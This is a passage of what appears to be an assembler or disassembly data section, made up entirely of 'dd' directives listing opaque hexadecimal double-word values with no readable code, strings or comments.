8868BC31h, 0A9F49095h, 8BB9EB00h, 8FF8A0D0h dd 84635DA7h, 33727A10h, 0A1B45044h, 59DE2A6Ch, 0DD4908FCh dd 0DAC5F400h, 9A5453A4h, 44EE006Ch, 0D0F2A977h, 0A703F3B6h dd 986A2F7Dh, 288309Ah, 94D0A891h, 0FDA56813h, 24CC2C92h dd 1DA0A029h, 67FF0100h, 8F777A7Eh, 299EF414h, 6D8CDDEh dd 10DF7269h, 0C22540B0h, 0F02C102Ch, 5FA00ABh, 0B441019Eh dd 5600B708h, 0FD07186Eh, 60F89058h, 1231E854h, 90941DBDh dd 0CF84A42Ch, 9CA8A4E6h, 320BA2Ch, 9E7FEEDDh, 8405285Fh dd 0B024654Dh, 948C14C4h, 503548F4h, 90E7F600h, 246A69C7h dd 3A68CE61h, 0F0F41E4Dh, 0AA1D0F3Ch, 1AE5339Dh, 7564B7DDh dd 10C8054Dh, 34B3980h, 85FA6FCh, 1FC01049h, 2F89FC32h dd 0EEF8C4CDh, 4C4D28A4h, 0AC5A5850h, 0B194F900h, 0F43058EFh dd 8F0B667Ah, 3823191h, 0F9FC8408h, 58C1E56Fh, 0B72FE429h dd 0C2AF6404h, 0DF04E8A4h, 0EFC5C81h, 0FB1A188Fh, 0C122D644h dd 209E8884h, 291D7530h, 678A6BBDh, 6C9DCCD2h, 23A6714Bh dd 8801AC70h, 4BED3FB9h, 180E838h, 233EBCB3h, 0DCC59639h dd 89CCFFF5h, 164809A7h, 801006FDh, 6814BCD0h, 0AC5D41h dd 0FD494057h, 0A54CD59Eh, 716906CCh, 5E092866h, 22FD6A27h dd 121E464h, 2B0AFC01h, 15A7C800h, 0C18CC36Ah, 0DC2E9330h dd 9E96E461h, 0C0CFD116h, 0A52254C0h, 0D4CC5D8Ah, 0F1F2E20Bh dd 94A6FC38h, 0F9205B63h, 468915C5h, 0EA004C85h, 0FB2A03A8h dd 0B8488866h, 0A5800E98h, 0F738D9AFh, 27153C69h, 55102C45h dd 0EF910011h, 99923363h, 35AD0708h, 0C0DC80A8h, 0A6C528B7h dd 2DF07449h, 466C80A7h, 25F4FA70h, 68387B31h, 61C40B79h dd 0B7402341h, 0DE1E7E48h, 0A00A5E8h, 0F7C5A827h, 4E6DABh dd 47133F68h, 0F17FD25Dh, 0CA2148C0h, 0FA905A11h, 26B0926Ah dd 47749C88h, 270B2048h, 94B0CA9Ah, 0C6A68A15h, 0CD8900C4h dd 5DD692BAh, 5D570F7h, 33E2C702h, 7358C09Fh, 1F1E4B79h dd 0C314D912h, 0AE6A0908h, 598000F9h, 132EDA96h, 0C02C9061h dd 0AA224C20h, 279F0800h, 3DA4EAFh, 1B9E0FBEh, 0C3C1FD58h dd 64FFCFD6h, 24003D44h, 0B6C26ADBh, 0BCEBD27Bh, 8815194h dd 658F4088h, 0F9A40803h, 0E2CEE1B1h, 2D1C541Eh, 890B88Ah dd 0B42E0698h, 280D8751h, 4B056E0h, 9739A521h, 5042F88Dh dd 77244892h, 0CA56A4Ah, 1DB88044h, 0E86E5417h, 12957D3Eh dd 5821F69Ch, 0FB00C71Bh, 4D4EA62Fh, 8E272C21h, 0D5203C33h dd 0B5548095h, 155B1Dh, 7B328920h, 782D3B6Bh, 0F987F002h dd 0F895ADCFh, 0FC1D0068h dd 5A503A05h, 609DD089h, 5A631E10h, 91946135h, 0F01440E9h dd 0D8C312AEh, 1B582A4h, 2D49DD20h, 20AFACC5h, 0DA041CFCh dd 8FFF25C8h, 1A81D4ACh, 74F858h, 9C4DC02h, 93D81B8Eh dd 0D909800h, 0BB004F43h, 1DEC504Ch, 148F31A6h, 8684D38h dd 1441B848h, 0F42C6471h, 603A4BB2h, 0D247C3E8h, 2EAC00F8h dd 51DF6637h, 4E8BCE09h, 27186824h, 3BDE0094h, 68CD5BBCh dd 4B249066h, 1C124C58h, 597CC48Eh, 0F7212414h, 0E1087919h dd 80FA0C20h, 181FB823h, 45826E4Dh, 0CEF28A4Fh, 0CD261000h dd 60405E8Dh, 38E58CFFh, 0B0DC5D1Ah, 0C981E73Dh, 1F905F02h dd 3D0024A0h, 0C4642881h, 0D6A504A4h, 0F790CF7Eh, 944D7A5Ch dd 0C00801E8h, 6B724035h, 241D9A60h, 8C47BC5h, 4E005BDCh dd 9CA5E550h, 32F0C1h, 0C003FE15h, 86B4CDEh, 856E8900h dd 0CB91F2A1h, 97C91F28h, 8AA90040h, 0C5FF9D9Bh, 0C68CE700h dd 25EABB91h, 0D06301ACh, 87CFF4A5h, 0C488803Ch, 90E61C20h dd 7968690Fh, 5A5C60C4h, 94187C0Ch, 4110CDF8h, 989B801h dd 0DCD5A688h, 2691B433h, 8F10280Ch, 12300B69h, 84E85E38h dd 0D0D3CBA6h, 380250D8h, 6820114Ah, 98ABC61Ah, 0ACBB0010h dd 921D149Eh, 0D41349B9h, 8830576Ch, 0A5F563h, 511E4CE6h dd 0D2470EE4h, 1170DB17h, 64296CD9h, 0C7553500h, 0CBBB9232h dd 72B2D600h, 77F4BFF0h, 0D030099Ah, 5070B7CFh, 3E57F240h dd 45CF7590h, 0D1B5F0D4h, 0D4ADA93Ch, 4E007639h, 3F7FA667h dd 183AA73Bh, 79A159A5h, 4C00B7EBh, 0F923F01Ch, 7A78F93h dd 84D02A31h, 18564262h, 0FE60C1h, 55B950F9h, 2EDC8837h dd 0C8A20006h, 0BAD043CBh, 0E31450F3h, 5F1012C9h, 0A169B802h dd 9A06A0Fh, 2554B0BCh, 0A75C2FDFh, 17B64838h, 5E69B3B8h dd 0E4A04E38h, 154923Eh, 59108FB5h, 0C001F946h, 0BA00C7D1h dd 49A50873h, 0BB93D6h, 0E520F310h, 2C8C2A1Dh, 6113B3Ch dd 25946A30h, 24F0061h, 867D050Fh, 3F00D71Bh, 0AC7C0EA6h dd 0C24BBBA4h, 0AA2FFF78h, 0D46D80F7h, 906EC8BFh, 7BB50094h dd 0B912058Dh, 50904B1Dh, 2F2062Dh, 2A66FA4h, 585E8A29h dd 0F3E682Ch, 84A77E17h, 24E4DDD0h, 1FAC9B60h, 0D2AF8B01h dd 0A846642Bh, 0C74591Ch, 1996A702h, 0E0088A56h, 3D096A10h dd 4B870466h, 0C13A96A5h, 29405C98h, 3028A027h, 64D5FCFCh dd 0E125384Fh, 2C60395Ch, 908BA4A7h, 4E78407Ch, 0D3510123h dd 2CCF9647h, 0DA508B0Fh, 24DC64C9h, 244AFC7h, 0E14647A7h dd 94BAC241h, 58C9648h, 67259024h, 5A1DC480h, 2F7D03C3h dd 8F6ED214h, 0A4F68809h, 4D24D84Ch, 0C9F98F3h, 0D018E223h dd 0A539BD04h, 0B8D00654h, 0B8207EEEh, 0B1AC0B39h, 2C80FC2Ah dd 472A045h, 0D042D0A2h, 34E00809h, 4890902Fh, 0D81040B6h dd 0E4E37913h, 4F4A4C4Ch, 27E1EB87h, 0BCD8F349h, 50CE176Fh dd 30A48D2Ah, 6C20278Ch, 8FA62D38h, 0B82AA0C0h, 0C204299Fh dd 0D8E48908h, 4211D320h, 3FA0690Ch, 8803506Ah, 1EF8CD52h dd 0E67E175Ah, 2D8FFA02h, 6844F9A5h, 0F0A2BD50h, 102A64C1h dd 2C2CA3F4h, 0EC24744Ch, 25A0D942h, 2270F2BFh, 194CA084h dd 4A2728F8h, 4D1BEC20h, 1C4C1459h, 812A7400h, 2569CBA3h dd 46A8A8FFh, 1860FE58h, 7668C9D9h, 9025805Dh, 68E73Ah dd 0FEE01B4Dh, 4EB81227h, 4FC81F2h, 0E4202EC7h, 0BC8A905Ch dd 20270424h, 80FCF850h, 9F9B188Fh, 0CE9102DDh, 5239E2BFh dd 66E0D4C3h, 103B433Bh, 78B3B0D6h, 246A317Fh, 3D40F79Bh dd 87A53789h, 0D1A9242Fh, 0D34D38D2h, 8390C644h, 344B681h dd 5BFA19B8h, 782299E1h, 2A1F032Ch, 0EAF4524Ah, 0E91C41CEh dd 0F7573460h, 0C793E82Ch, 0DB3FE328h, 5499914Fh, 8A7CDC21h dd 0F021B065h, 0A5121D68h, 1842C9E5h, 68A290EEh, 0B0E23010h dd 85983280h, 28FED050h, 0BA25440Bh, 888054C4h, 0F601D96Ch dd 0DFCC4429h, 6488713Bh, 4233213Ah, 0E52069C4h, 3C68D27Ah dd 985A1320h, 8B66D318h, 20C1D841h, 224A67AAh, 5B75BC91h dd 691C383Ah, 18900272h, 888448E9h, 18F7993Bh, 1C10DF4Dh dd 2A7B04B7h, 0AB94F18Dh, 651EABC0h, 2828EFD8h, 886A3205h dd 2CC4D077h, 600FAEDh, 0F44C4E6Ch, 28F769h, 0F5CB15ABh dd 0E4A7889Dh, 328A3E09h, 87D8603Ch, 0C0929594h, 56879C1Ah dd 0A7A35371h, 0B22AC988h, 68404F04h, 64D0F1A8h, 9D8C3192h dd 1DEFDC82h, 9CAFF300h, 0C0ECFD33h, 854C2CFBh, 0CE04BD8h dd 0C71216F6h, 6B0956B7h, 14A9E7h, 174D57B0h, 0D4F848A7h dd 64DECF09h, 3E7E020h, 0CC7DE3BEh, 80E88A2h, 3A1423EAh dd 400B812Dh, 876EA848h, 0D8C1E91Ah, 4A0641B0h, 7421D044h dd 30340169h, 0BE8C1227h, 62DF05DEh, 0C90CA2D5h, 9F38E44Eh dd 30501420h, 68BC1325h, 48CC4F40h, 0B5D0153Ah, 6206A0F2h dd 0A83D31A9h, 4280DBF6h, 699D0785h, 71664D21h, 309A0DACh dd 6B057A38h, 74E50B07h, 3EB79881h, 7340EA02h, 2503DD04h dd 3B472861h, 2AADF05Dh, 0A50E0CD7h, 57A0770Bh, 1E19F607h dd 0D9202732h, 0B8AE76F9h, 259B05BCh, 0C0692AABh, 108BFFD8h dd 0DF283E12h, 48F44CA1h, 0DCD90256h, 829A4D7h, 1D3E7866h dd 16B93E8Bh, 0A02739DEh, 90D0E3D6h, 71F31240h, 624C023Ch dd 47ACE9Eh, 0B41E8976h, 383083A4h, 904827F5h, 856C07BEh dd 92AD708Eh, 84633EAh, 65B023F0h, 6A15BB05h, 0E40FD081h dd 93CAE929h, 76CC92D4h, 0C32F0588h, 45DC81E9h, 8E7F005Ah dd 902813F9h, 256BFC91h, 301C4146h, 1CCD7D0h, 49CD63Fh dd 61344FFDh, 0CE582438h, 0BA64750Fh, 86D02018h, 9863E91Ah dd 45780000h, 0D3903971h, 0BF79243Dh, 6C73B900h, 91DF0A77h dd 208B00F2h, 0A44842E2h, 99002709h, 0AF72014Eh, 26617DCCh dd 0E704CB4h, 3F61ED78h, 2A09A522h, 4091540Eh, 0E965B3D4h dd 0F88307F0h, 0D0D0415Ah, 6F8CAEE4h, 0A408AF00h, 4DFBF289h dd 21D70610h, 40DEC4A5h, 7479C9E1h, 9627D818h, 6A240186h dd 0C8409FDBh, 22B8461h, 0A4D8C0DAh, 11002C82h, 38CD20F2h dd 76805778h, 1714AF25h, 0CC1E8454h, 9702C8ECh, 594CA9A5h dd 34C12520h, 0C1187CB7h, 4AA4BB58h, 8AE0F061h, 989600D6h dd 15AFCE90h, 98A04263h, 6E035782h, 6CA91E4h, 488490F8h dd 720900ACh, 3625BC08h, 1016A793h, 340221DEh, 0E08C8865h dd 67A3Bh, 74B87307h, 0F98555B4h, 81B79100h, 0B042D4F6h dd 0C22F4BA4h, 90510D10h, 588D808h, 4E70A4C7h, 0AC00EAB8h dd 0C85FDEC2h, 435A79F8h, 1524BCE4h, 0CC80E7A5h, 0BA2F204h dd 84048051h, 2F50863Eh, 7F1EEAF8h, 0B83071D6h, 0C5744Dh dd 0FFCA920Dh, 0AF4A3E35h, 610FA415h, 7C084B9Ch, 66640F9h dd 0BD0FC0A0h, 2E8A5D2Fh, 0EEE0C6D8h, 7C329D08h, 0D852545Ch dd 55C82068h, 10C88348h, 0C700CDB5h, 2FC081B6h, 3902FBC9h dd 4C6A2D54h, 0ADF0D42Bh, 8B476840h, 9B0530BEh, 0BCD2C5FEh dd 0B8425D55h, 0F7C520DCh, 3C2C88D9h, 73DA8CDFh, 26174C48h dd 5831A150h, 0AA305416h, 582800D4h, 0EE88B5F0h, 0C931A4B7h dd 0BF602831h, 58249FD1h, 63FF2C18h, 0B991C7B8h, 258CCC4h dd 97097CD8h, 0A3B115E9h, 0E8EB7300h, 14565Ah, 1E22C08Bh dd 7A90F55Fh, 12A74A2Fh, 0C447638h, 0AF0862BBh, 0AE714416h dd 768E5888h, 9F50300Dh, 0CAE327D0h, 6E0E54B3h, 0A6716196h dd 0A087993Ah, 828AB851h dd 2C48CA26h, 84B66F41h, 0A1A3FE47h, 0B6500D98h, 20C0F5A4h dd 700533D4h, 37A73917h, 8817CD4h, 500915Ah, 0CE0EE692h dd 0A0B393C7h, 2848D82h, 0DE5228D6h, 0C86F5CF0h, 4D001B20h dd 0F8793C22h, 1246A7E8h, 5B9DBA5h, 825CFFC4h, 44E64F34h dd 20A4494Ch, 2B6A129Ch, 300C033Ah, 62E71C93h, 48E0B707h dd 0B8D73F03h, 0B7A0F89Ch, 84FF7C00h, 380FBEB4h, 0AB5D1Ch dd 2D280FBFh, 0D5521FFEh, 5C600086h, 0D1918B7Dh, 1AA4F909h dd 2528D903h, 4525E840h, 1E083D63h, 340F1B7h, 75276084h dd 0D774F8EBh, 69691CC8h, 0DC229034h, 0C8E206FCh, 84796C84h dd 0A458A008h, 48A81CB8h, 6A2F27CBh, 41A4903Dh, 6EFF005Ch dd 0D1520BB7h, 4F004E8Ah, 0F8B08657h, 9BA927h, 4CEA2C39h dd 4B6F4567h, 34A73104h, 4C8C9214h, 6A5D2890h, 56324C4h dd 425C422Ch, 647A58A0h, 11C4C9CCh, 0C0D068A6h, 0E21DB909h dd 84EA005Ah, 86F36C0h, 520414BDh, 0F10A025Eh, 4EA038ECh dd 0D231BA6Eh, 0AC4AD652h, 4114C2F6h, 712E82C0h, 7375AFC4h dd 7D3117Ch, 0FB718E01h, 6A13B3DEh, 0CBA47805h, 3C5788A0h dd 108C26DFh, 0CDF036AFh, 0A313B07h, 68A7966Dh, 14828D6h dd 5536F001h, 60C338ADh, 0BC5E1644h, 136010C8h, 0F9E5B590h dd 13B42728h, 0F3AF3FCh, 0D9ED3318h, 0CFB6E980h, 40C9AAA9h dd 0AFA8411Ch, 0A1977C7Dh, 47F07094h, 532640h, 0E65FC7D7h dd 922F7CAFh, 3233D305h, 0A4A151C5h, 0E851A027h, 0C4D7047Dh dd 59289190h, 87A051A7h, 0F6EC5447h, 44605054h, 8C2A6E26h dd 90034C64h, 10320571h, 0C0A3844h, 98974DA4h, 41AA980h dd 68907015h, 4C34D98Ch, 50B84D1Ch, 41C968BCh, 8441775Ch dd 0A42294DFh, 0EE099013h, 0A49AA040h, 2AFA285Ch, 20ACE3DAh dd 224AA9D5h, 68A5F490h, 2FEC809Dh, 0FA0068DCh, 9A474E2Ah dd 0D8A302FFh, 77B849C6h, 687D68E0h, 0BCD2CB26h, 0EA3D5E00h dd 3D68EE8h, 8B8C9ECCh, 905E8831h, 0E48AB4C4h, 81AD9082h dd 0D60064DAh, 27D45EE9h, 50E7CCAAh, 0B1EFCA3h, 0E86FDCA0h dd 849D3478h, 800D0ECh, 3B46E4A9h, 0D650391Fh, 0E529A606h dd 24026970h, 230BCC78h, 0D99ECD26h, 578E0014h, 0E1ECBEE5h dd 5CD1C04Bh, 0FC3C36BCh, 0E4B927C2h, 0BB2C4066h, 6A7CC30h dd 3DFCB670h, 5700C358h, 3A11AF68h, 2F01828Fh, 1C8805FCh dd 4B2F7E4Ch, 887498E8h, 1098E625h, 0A46869h, 29544F5Fh dd 9AA690C0h, 0F3E62C54h, 0A526040Ch, 38C8A29Dh, 4E84F16h dd 7C58C13Ch, 1967050h, 21FD055Dh, 7F612F26h, 0C7E91831h dd 90F32900h, 9A9FECF2h, 34A625Ch, 906592C4h, 5B6A172Fh dd 0BD7CB0E1h, 8BA53A0Dh, 0C0014009h, 0FD04B57Dh, 94C1D318h dd 2C755BD2h, 9B6420h, 90356B56h, 0C3CBA5C7h, 8D01AF7Ch dd 0C93A8FDBh, 6C6C3869h, 0A6E71Eh, 0A7962803h, 0D80D6587h dd 0C940C7A4h, 8F34623Ah, 0C9BBA601h, 1400E079h, 0AF70390Fh dd 38B7921Ch, 5A905B1Ch, 16480281h, 0C0710103h, 0E4688E03h dd 5910078Ch, 71CB25B8h, 7A87DC0Fh, 90E78470h, 2D691ACCh dd 8480B81Eh, 70215786h, 0CF5AA63Eh, 0CC524025h, 970FC008h dd 25800211h, 0D099A45Ch, 9643CCEh, 206583A6h, 37580160h dd 0D08200B5h, 9DBDF987h, 0DE024B4Dh, 0AA7C4707h, 0F9987A99h dd 91275051h, 6F385F2Fh, 219FB8AAh, 8B358B64h, 0DCD69412h dd 370EDE2h, 0C819C41Ah, 60A00D4Ah, 0F8FC347Bh, 9E500990h dd 105444E9h, 17C370CFh, 0D0F2F9F2h, 0AB0215Eh, 82883088h dd 48380397h, 8C27D0C1h, 6E030297h, 0AC9225D7h, 0A03FD84Ch dd 28851365h, 408068E0h, 5E00FB60h, 986792BAh, 0F551376h dd 2D6C6E58h, 24760ECBh, 96B0B514h, 0E2487804h, 2D8064F0h dd 1C31D563h, 8C537AFBh, 0CC0304Ah, 0F1405700h, 0C11B3Fh dd 0F499388Eh, 0C8DB69F3h, 70F050D6h, 0D3650058h, 39BDF884h dd 0CA00920Ch, 4337F3DBh, 1F4CB1h, 0A08DE4CDh, 0E142FAFh dd 7BD46895h, 0C565047Ah, 0A00D9020h, 113173Ch, 0FCB0E5D0h dd 15A418C7h, 631C301Eh, 1944EB48h, 0A981C947h, 5D16F476h dd 1824303Eh, 0DA5E0648h, 7DE64C22h, 0A52FBC60h, 0BFA8949Fh dd 26315000h, 5C05133Fh, 0E9C33202h, 0D557F081h, 6A1D2300h dd 48CF4174h, 60F47750h, 582E00F1h, 0A002EA57h, 4E3E4678h dd 0F695005Fh, 5BD3DA05h, 0B8871BEh, 0A1BBCFF9h, 0E75D4C0h dd 4CC52D00h, 0BD2A3B23h, 7E27790Bh, 0C8D43136h, 0DA16E218h dd 3F281C5Eh, 0A518A371h, 0F5C03E0Ch, 279E7887h, 0DC4870ECh dd 0E002869h, 30A00876h, 0C3F4514Fh, 403B9618h, 280F90F1h dd 6A140234h, 5ACF7B16h, 9B1B3F2Ch, 4C90CE2Fh, 1362905Fh dd 0E4354831h, 5CA2BD1Ch, 888A554Ch, 88874924h, 0BFA3221Ah dd 0E0D0D4ABh, 6AC930A1h, 88B4F835h, 18FC69CBh, 2B05147Eh dd 0AC001CDDh, 40C125B4h, 0F4370566h, 99A6CFh, 89C3079Ch dd 0A51922E0h, 8BF8FAFCh, 97100C76h, 0FC320112h, 55181E5Ch dd 13A7F848h, 0F2013096h, 0BF08005Ch, 0C7BE7D0Bh, 0BCDD4C11h dd 2FF80840h, 8A0C32Dh, 96D250C4h, 0CC85B4Ah, 2458B05Ch dd 0C0E0556Fh, 0D76774B1h, 31786913h, 0F42548C2h, 1900E34h dd 0FF8401B2h, 3055984Fh, 94B6BEC8h, 0CCB65004h, 54D0A4F8h dd 0F693D009h, 0FA8B4CF9h, 0F4E49A3Eh, 5042628h, 8E9424A6h dd 28FF2A24h, 36319015h, 6F84CC8h, 0E452A4B5h, 4550028h dd 7A1AC94Bh, 38BC638Dh, 1DBA11E0h, 784820A5h, 0D9E99101h dd 8852FEDCh, 98617C20h, 86049954h, 0B0FB22E2h, 279CD84Dh dd 583C0B21h, 0A62C98F0h, 0D21B09E0h, 3C542CD0h, 8C0E013Ch dd 0E5C5A563h, 94548060h, 318E4390h, 0E7700180h, 0CA444F03h dd 5BD3E4A4h, 30200428h, 0C490E892h, 8CB3E67Dh, 7CD0CC5Ah dd 10920100h, 0D1A536A7h, 8848C0CDh, 654B1CD5h, 6809AB4Ah dd 69E45E60h, 5BA414E0h, 0E20EC0BCh, 0A60076F5h, 0E1BB5A59h dd 332509DFh, 48E8F013h, 0CC80A0DDh, 4B9202AFh, 5BA525D9h dd 0A4277CE6h, 0E11841D8h, 688BB0D7h, 27724003h, 0D31D4800h dd 4ACD0660h, 89880462h, 0F8361F68h, 0A5340650h, 0C0C16Fh dd 2A790F5h, 0CE204EF9h, 14AB2212h, 98DA4821h, 7E90402Fh dd 0CF3CCC11h, 0B002EF5Ah, 98D08627h, 745BA98h, 33A12F6Eh dd 0C868A56Ah, 9138C668h, 10F709BDh, 0A1206C5Ah, 2422628Ch dd 0FBA7F384h, 5863B40Bh, 905E09B8h, 0E00015E4h, 7C50ED19h dd 634B0674h, 937B2C44h, 3824F156h, 0E0307CDCh, 181C1886h dd 8CE128Ah, 0EEC88888h, 0CA1B0084h, 0BA1C5277h, 0C005586h dd 39333CF2h, 0C8205396h, 1701DE18h, 95E82618h, 7ACA4F0h dd 0EA05149Ah, 30ECD716h, 696C8041h, 0C6588903h, 0B0A56F78h dd 7F6A99BAh, 1BBF0056h, 0BC6DE97Bh, 60C01FC9h, 0EBA04AAh dd 0ACEB00F4h, 0F1C02288h, 8F0189AEh, 712153EAh, 14E077AAh dd 0D211CFA7h, 4DFD0A01h, 0CAE7E054h, 0C0F13780h, 58059F20h dd 8D0CE836h, 692E893Dh, 15172AC9h, 9AA90D60h, 0D8F02DDAh dd 0DE0038DFh, 8B096FC2h, 63CE0AB2h, 87696041h, 507FF690h dd 0F5EC7D3Dh, 48D12331h, 7EE41014h, 10406684h, 0C7015086h dd 0A21B455Fh, 6DF07D77h, 0DE07733Dh, 10DD8388h, 17C8C064h dd 3F768119h, 3181AC5Ch, 9AA67045h, 7EE8C883h, 580D66C2h dd 0B8ECE4D4h, 5681908Dh, 3DDAF020h, 0EE79D8A9h, 0BCA67701h dd 12FF82C8h, 459816h dd 2790B80Ch, 0A36E257Fh, 0EA686051h, 7713613h, 0A172B391h dd 2FE6D0FEh, 55733F17h, 0A25B9401h, 3B3FFABh, 0A31EE040h dd 1708A1D3h, 7A1480C6h, 0D4CD43D1h, 242A0898h, 50780CB4h dd 86D19D39h, 28945F40h, 10ECDF72h, 3E57697Ah, 0AD701E7h dd 283D56E9h, 0D447BC40h, 3CFE0D96h, 0E850EF88h, 773D9A73h dd 90210078h, 585A6B45h, 9CD452A2h, 6801E1Fh, 1172C450h dd 117040h, 0F1522D65h, 0A767DAA4h, 0D18B5F0Eh, 9628B877h dd 6F7A1418h, 3B00DCC2h, 304DB551h, 0DB00A5E3h, 74BAE504h dd 6AE68F1h, 857FD3A8h, 0AD1ED043h, 0E30CDB4Ah, 9AF10FDh dd 0A7BA14AAh, 1C4DA011h, 0C0EF320Ah, 0B88045B0h, 0C4421299h dd 0AC824598h, 6F790800h, 0AC0277B2h, 75AABA0Ch, 0A1804273h dd 0FB543CC0h, 0FC8150BEh, 6903DCB9h, 1048C658h, 0BB293B3Ch dd 0A849C96h, 34800F29h, 0C5776A9h, 0E061D169h, 3E036630h dd 0C0BBD2A3h, 29C7D0D9h, 8D36027Ch, 987F8A2Ah, 1C2C049h dd 0E3925Ah, 0D1735649h, 0E8223044h, 0E484F41Ah, 4A540070h dd 4F39F5h, 0C31E409Eh, 28D1EC84h, 0C2AE40h, 0BEDEDC7Eh dd 0ED40E654h, 0B47AA877h, 0A77D3407h, 8CB00CCEh, 727F4297h dd 0A0D1303Fh, 27800EE0h, 229AB500h, 20A9F1C6h, 0B1B900ECh dd 3D7D7178h, 90A0E067h, 91FAD6A3h, 0DC30E400h, 51900FD4h dd 190E1237h, 74F80A87h, 0FC211494h, 896E8C04h, 1BBC80EAh dd 4701CCB3h, 43D76169h, 7C359C3Fh, 12A3C560h, 0DBB8ABh dd 7D329729h, 0C960B7D1h, 3E12ECD8h, 0CB710420h, 92ED770Ah dd 0B91182E0h, 6A05DC50h, 0BA670210h, 8127D17Bh, 0B3AC8A0h dd 38C1CDD4h, 34973850h, 48758960h, 0A5269806h, 0A273506Ch dd 96068491h, 2660AD24h, 4920E5D4h, 0F4524C23h, 0F258D0E4h dd 2602A80Eh, 450A9723h, 58F4A4B1h, 0C0764CC6h, 0E543E10h dd 9F092A2Dh, 746127Ch, 8120F35Ch, 82B34AB8h, 0F4AC0802h dd 503A3C98h, 8086853Dh, 690C24BCh, 558D380h, 223D7B99h dd 89C00194h, 0B054039Bh, 7074A880h, 3A5B859h, 0AA6E643h dd 5000906Ch, 9E0DE839h, 0F9B703Ch, 0C0495074h, 0A2F16447h dd 1090563h, 0A7117FEDh, 0CABB9043h, 8708CA5Fh, 0C6452CCh dd 156EA481h, 0D3E21886h, 0BC003699h, 69839CA2h, 182238Ch dd 14553312h, 4078BBD1h, 7D3615B0h, 61586800h, 0C37FBD49h dd 4004B223h, 450C8F5Dh, 309848D1h, 98887894h, 0D840529Ch dd 158AA24h, 37D101DCh, 17843046h, 63043E77h, 0A3746FF0h dd 2014C90h, 4822DD4h, 5C8369FCh, 0F2EF3EAh, 250D340Ch dd 10452906h, 41F88107h, 78A3FE89h, 5F141E3Eh, 0BD1BFC02h dd 7DB81052h, 8C3A0525h, 8A51073Dh, 5F8C06E1h, 0F4A438EAh dd 0EE820070h, 0F2A296Ah, 49FAEC02h, 5C1AFA61h, 8620C784h dd 364A6059h, 2419BA52h, 420CF733h, 82160075h, 745758ECh dd 0DA0332FBh, 84251D8Ch, 0E13C10C5h, 158A1E81h, 67F9BBC0h dd 682484Ch, 0F54DCCC3h, 40760C3Dh, 7CC13Eh, 0F2454BC2h dd 60CBEA1Dh, 40EB65A8h, 0A1E9170h, 0ED15DB2Ah, 93D91966h dd 0B40C427h, 0C718E269h, 8025357Bh, 4D4A1B10h, 23EA5F0Ah dd 0EF8CA53Fh, 0F08506FBh, 0D85B64F4h, 8C5A0D21h, 0B46F2807h dd 58B65806h, 8AE672EFh, 0BE282D76h, 0DE204703h, 0C55D7E41h dd 58422h, 0B95160C5h, 0B30047D6h, 0BA300658h, 55EAA94Eh dd 0C0EEC60Bh, 0EF63E1Bh, 60FA0243h, 0BE56F260h, 0EE1F2AFDh dd 0AB858209h, 951E7C3Dh, 875D1F40h, 7BBF5754h, 33E83E5Bh dd 2BDDEF00h, 0DFF867C1h, 0F72D4779h, 268E0AFh, 5281A0F6h dd 0E6C28056h, 0A1300978h, 0A7E2E9A5h, 35B0F1Ch, 0F2A4D2F8h dd 0EC299058h, 0EFA1885Eh, 975F05Dh, 0E652E9CEh, 0FA0FCB31h dd 484A9232h, 357E3E8Ah, 28105E67h, 0B3547D42h, 2044CCD6h dd 7AA2800Dh, 0CFA110D1h, 2D24F28Ch, 10258B11h, 0A3704B71h dd 8C0730F6h, 0E68A5636h, 17C68228h, 880C8463h, 0B6C9242Dh dd 67C34064h, 925077BEh, 3E00BDA2h, 0D72A308Ch, 0A92C01EAh dd 35DCDE83h, 9F92ECh, 5E29EBF7h, 7EFC246h, 1A0CE7F2h dd 0A45FC131h, 400B28B8h, 70DF30B9h, 2312F469h, 5E7A871Fh dd 20CDFA09h, 6702C646h, 2AB13E51h, 94444B24h, 1E7F5DBFh dd 24885FF1h, 5554403Fh, 1A40BBEAh, 6991A867h, 8D66541Ch dd 0A954043h, 445BD41Eh, 899B214Ch, 61FA0FCCh, 986668C5h dd 5B0116AFh, 0E9293D2Dh, 0FFF8B252h, 7EC148CAh, 81D2F70Eh dd 0C901B8A1h, 826D895Ah, 0B0921AC5h, 0A6925BCBh, 6A42F0CAh dd 40211088h, 320BE9C2h, 5751C918h, 82BA0FC8h, 446E9C00h dd 82010853h, 2B0B59CEh, 80204614h, 0DB3F00E3h, 5EE90234h dd 839E1C2h, 0A9FC8D2h, 0DA616BA5h, 0EA60F901h, 0B27A69F0h dd 0CE020670h, 0A38225Ah, 0E3D2C30Ah, 5228495Ah, 2845109Ah dd 0C3F0B590h, 0EBF7E054h, 2CB50299h, 4F182006h, 24E4773Fh dd 0A8AC86BAh, 0E348FE07h, 4C044E32h, 0C76AF817h, 9A5EF399h dd 5BDAE0DFh, 0F73876E9h, 8F5D83FFh, 0BB682404h, 89761E3Fh dd 0DDE9062Ch, 661E108Ah, 8146148Bh, 0E01202C4h, 1CF0480h dd 0F903EE9h, 4C3E65Bh, 0B7F5F91Fh, 9F590A9Dh, 810C709Ah dd 7B7D19EBh, 0D32E2D60h, 0F84ADD62h, 891DA0ECh, 0BE240034h dd 61596760h, 0E9185556h, 5A1ED79Fh, 285C0E2Ch, 0FF8D04F8h dd 44CC882Ch, 0E38907DDh, 0A7638352h, 48BE3000h, 8142E862h dd 6DBF0CE6h, 0AA0C3CB0h, 2774600Fh, 0E90785C1h, 52037584h dd 10DB0150h, 0A4C4916h, 8E547B68h, 23E35067h, 8712200Eh dd 91535C32h, 0E9A7818Bh, 5F0358ABh, 87705440h, 4A1E1C63h dd 0C113603h, 513A373Eh, 8312E354h, 4C80CCC4h, 4B909ABh dd 10F68145h, 1D2B8501h, 0F75371DDh, 471C9DD6h, 0E9B84341h dd 0B7838CB9h, 4E150791h, 0C1F6CDD3h, 0FFB95EC0h, 0FA5C3A25h dd 2F336565h, 8CC226EAh, 0CE295379h, 0B3000907h, 289CB418h dd 665B03DCh, 1DCFE951h, 5E02514h, 6BA6874h, 5EF00101h dd 0B2507EE9h, 3EE6B835h, 0C59F2724h, 9D934C58h, 0C3EEF32Bh dd 0FA0F9A67h, 218FE2h, 0E70579BAh, 0D1095400h, 81D9F75Ah dd 0B56E03E9h, 0CE892FB6h, 97B4C1BBh, 0F6F5E015h, 4E603F68h dd 0A839560Ch, 9EB870h, 4E0C15Dh, 0D24FB505h, 0C2D0707h dd 0A07EB45Fh, 2A59DB41h, 0E9C70C01h, 552C117h, 0D003B7Fh dd 0C5C32D66h, 0C5894827h, 0B81322h, 266FC63Ah, 293F6216h dd 3DF412D6h, 0ECC12C40h, 7C0E7208h, 0D1317656h, 5324FC18h dd 2CBA3D5Dh, 